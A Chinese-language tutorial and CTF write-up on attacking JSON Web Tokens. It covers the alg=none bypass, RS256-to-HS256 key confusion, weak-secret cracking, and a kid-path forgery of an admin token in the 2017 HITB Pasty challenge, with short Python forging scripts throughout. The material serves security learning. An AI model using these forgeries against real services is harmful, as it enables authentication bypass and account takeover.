Hacking JWT(JSON Web Token)


0x01 JWT工作流程

JSON Web Token(JWT)是一個非常輕巧的規范。

這個規范允許我們使用JWT在用戶和服務器之間傳遞安全可靠的信息。

JWT常被用於前后端分離,可以和Restful API配合使用,常用於構建身份認證機制

以20170824 HITB的一道Web題Pasty為例,這題的功能很簡單,下面看一下JWT的工作流程

注冊

登錄

登錄時返回的數據如下


eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

登錄后訪問數據(GET)

可以看JWT被帶到了HTTP Header中(前端的工作)

登錄后提交數據(POST)

可以看到JWT其實是被當做身份認證信息攜帶的,另外JWT常被前端代碼存儲於localstorge中

攜帶了JWT的HTTP Header:

Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw

0x02 JWT的格式

JWT的格式非常簡單

JWT的數據分為三個部分: headers , payloads,signature(簽名)

三者通過.分割,均采用base64UrlEncode

function base64url_encode($data) {
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

如上一節中的JWT數據

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

其三個部分為
header

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解碼后為:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

headers中包含了關於JWT的配置信息,如簽名算法(alg),類型(JWT),kid表示算法所使用的密鑰文件(當服務端需要多個密鑰文件時使用)
payloads

eyJzdWIiOiJkdWJoZTEyMyJ9
解碼后為:{"sub":"dubhe123"}

payload中存儲一些用戶數據,比如用戶名(dubhe123)

payload中也有一些JWT標准定義的字段,用戶可選擇使用

{
    "iss": "John Wu JWT",
    "iat": 1441593502,
    "exp": 1441594722,
    "aud": "www.example.com",
    "sub": "jrocket@example.com",
    "username": "A"
}

這幾個字段的含義如下,其中需要注意的字段是exp,這字段可在一定程度上被用來防止重放攻擊
iss: 該JWT的簽發者
sub: 該JWT所面向的用戶
aud: 接收該JWT的一方
exp(expires): 什么時候過期,這里是一個Unix時間戳
iat(issued at): 在什么時候簽發的

signature

signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

因為header和payload是明文存儲的,所以簽名是為了防止數據被修改的,提供了對數據的交易功能
簽名常使用RS256(RSA 非對稱加密,使用私鑰簽名)、HS256(HMAC SHA256 對稱加密)算法,簽名對象為base64UrlEncode(headers) + '.' + base64UrlEncode('signature')

0x03 攻擊JWT

1. 敏感信息泄露

很明顯的一點,因為payload是明文傳輸的,所以如果payload中存在敏感信息就會出現信息泄露

2. 修改算法為none

簽名算法保證了JWT在傳輸的過程中不被惡意用戶修改

但是header中的alg字段可被修改為none

一些JWT庫支持none算法,即沒有簽名算法,當alg為none時后端不會進行簽名校驗

將alg修改為none后,去掉JWT中的signature數據(僅剩header + '.' + payload + '.')然后提交到服務端即可

這種攻擊的例子可以參考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代碼可以在Github上找到 https://github.com/Sjord/jwtdemo/

這個例子的解法如下

import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 構造算法字段為none, payload部分可以隨意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

結果如下

3. 修改算法RS256為HS256(非對稱密碼算法 => 對稱密碼算法)

算法HS256使用秘密密鑰對每條消息進行簽名和驗證。

算法RS256使用私鑰對消息進行簽名,並使用公鑰進行驗證。

如果將算法從RS256更改為HS256,后端代碼會使用公鑰作為秘密密鑰,然后使用HS256算法驗證簽名。

由於公鑰有時可以被攻擊者獲取到,所以攻擊者可以修改header中算法為HS256,然后使用RSA公鑰對數據進行簽名。

后端代碼會使用RSA公鑰+HS256算法進行簽名驗證。

同樣的,可以通過一個例子來理解這種攻擊方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公鑰:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

該例子解法如下

import jwt

# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}

# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}

public = open('public.pem.1', 'r').read()

print public

print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

結果如下(驗證通過):

4. HS256(對稱加密)密鑰破解

如果HS256密鑰強度較弱,可以直接暴力破解,如PyJWT庫樣例代碼中使用secret字符串當做密鑰

那么暴力猜解密鑰,當密鑰正確則解密成功,密鑰錯誤解密代碼拋出異常

可使用PyJWT或 John Ripper進行破解測試

附: 相關工具

PyJWT庫 https://github.com/jpadilla/pyjwt


>>> import jwt

>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')

'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])

{'some': 'payload'}

0x04 實例:2017 HITB Pasty

http://47.74.147.52:20012/

該Web應用JWT使用RS256算法,公鑰文件存放在http://47.74.147.52:20012/keys/ 目錄(根據kid的值猜測得出的)

嘗試將算法設置為none和將算法替換為HS256,但是均未通過服務端驗證

所以JWT應該還是使用RS256算法。

該Web應用的場景為用戶可以自己創建Pasty,並提供了下載文本格式的Pasty的功能。

下載鏈接為 http://47.74.147.52:20012/api/paste/(pasty_id )?raw

http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw

所以可以新建一個Pasty,內容為我們自己生成的公鑰

然后使用python JWT庫編寫代碼,使用我們生成的私鑰對我們構造的admin的數據進行簽名

其中kid為api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=

import jwt


private = open('key.pem', 'r').read()

print jwt.encode({"sub":"admin"}, key=private, \
    headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')

使用私鑰進行簽名的時候發現jwt庫會拋出異常,這里直接將庫中的異常處理代碼注釋掉即可

使用構造好的JWT訪問 /api/paste獲得admin的Pasty ID

訪問admin的Pasty,獲得Flag

0x05 參考

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM